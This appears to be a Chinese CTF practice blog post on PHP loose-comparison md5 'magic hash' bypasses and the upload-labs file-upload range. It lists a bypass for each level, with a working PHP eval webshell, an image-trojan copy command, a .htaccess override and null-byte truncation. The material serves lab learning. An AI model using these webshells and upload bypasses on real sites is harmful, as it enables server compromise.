每天一道CTF,日积月累,期待进步!
弱类型比较,文件上传绕过
弱类型比较
==:等号两边类型不同,会转换成相同类型再比较。当一个字符串与数字比较时,会把字符串转换成数字,具体是保留字母前的数字。例如123ab7c会转成123,ab7c会转成0.(字母前没数字就是0)
===:如果类型不同就直接不相等了。
"0e123456"=="0e456789"
//0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等
应用md5绕过:
if (md5($Username) != md5($password))
{$logined = false;}
题目大意是要输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句 。md5开头是0e的字符串有:QNKCDZO;s878926199a;
s155964671a;s214587387a;s214587387a;s878926199a;240610708。
上文提到过,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。
构造md5(‘240610708’) == md5(‘QNKCDZO’)
,成功绕过!
正则表达式
注意第14个和第15个
文件上传漏洞绕过
Upload_lab概述
项目地址:https://github.com/c0ny1/upload-labs
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。
靶机包含漏洞类型分类
如何判断上传漏洞类型?
Windows环境配置流程
首先安装好phpstudy
将下载好的upload_lab文件放置在/phpstudy/WWW目录下
打开浏览器输入localhost/upload-labs/ 即可访问。
第一关
源码:后缀检查。
一句话木马,后缀该为png
上传lyj.png,由于是在客户端进行JS检测的,抓包修改绕过,改为 shell.php 再次上传(点击forward)
此时查看图片,url是/lyj.php,蚁剑连接
攻战成功。
总结
客户端(第一关)
通过javascript来校验上传文件的后缀是否合法,可以采用白名单,也可以采用黑名单的方式。
判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
绕过:
(1)首先我们将上传文件后缀由php➡jpg
(2)通过Burp抓包将jpg➡php
服务器端
校验请求头 content-type字段:通过抓包来修改Http头的content-type为image/jpg即可绕过。(第二关)
-
后缀白名单检测:绕过方法
(1)%00截断(第十一关)
无论0x00还是%00,最终被解析后都是一个东西:chr(0)空字符 当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。如:在文件1.php.jpg中插入空字符变成:1.php.0x00.jpg中,解析后就会只剩下1.php,而空字符怎么插入的呢?通常我们会用Burp抓包后,在文件名插入一个空格,然后再HEX中找到空格对应的16进制编码“20”,把它改成00(即16进制ASCII码00,对应十进制的0),就可以插入空字符了。或者在burpsuit抓包中直接插入%00
(2)图片木马(配合文件包含漏洞)(第十三关)
copy 1.png/b + 2.php/a 3.jpg //新文件是3.jpg
<?php @eval($_POST["123"]);?>
虽然我们的一句话木马上传成功了,但是他是以jpg为后缀的,菜刀不能直接连接,必须让他作为php解析。通过已知的文件包含漏洞执行我们上传的图片文件。
构造URL:?page=file://./upload/xxxxxxx.jpg (xxxx是图片上传之后的保存路径)
-
黑名单检测:绕过方法: (1)找黑名单扩展名的漏网之鱼
PHP:php2;php3;php5;phtml;pht (第三关)
ASP:asa;cer;cdx
ASPX:ascx;ashx;asac
JSP:jsp;jspx;jspf
(2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类(第五关)
(3)空格绕过:windows等系统下,文件后缀加空格命名之后是默认自动删除空格。(第六关)
(4)点号绕过:windows等系统默认删除文件后缀的.和空格(第七关)
(5)双写绕过:str_ireplace这个函数将php,php5,php4等后缀变成空格,且只执行了一次,所以可以尝试构造文件后缀为pphphp绕过。(第十关)
Others
- .htaccess(第四关)
首先上传一个.htaccess内容如下的文件:
SetHandler application/x-httpd-php
这样所有文件都会解析为php,然后再上传图片马,就可以解析。
print(scandir(‘./’))目录扫描
show_source("FI@g3.php") 打印文件内容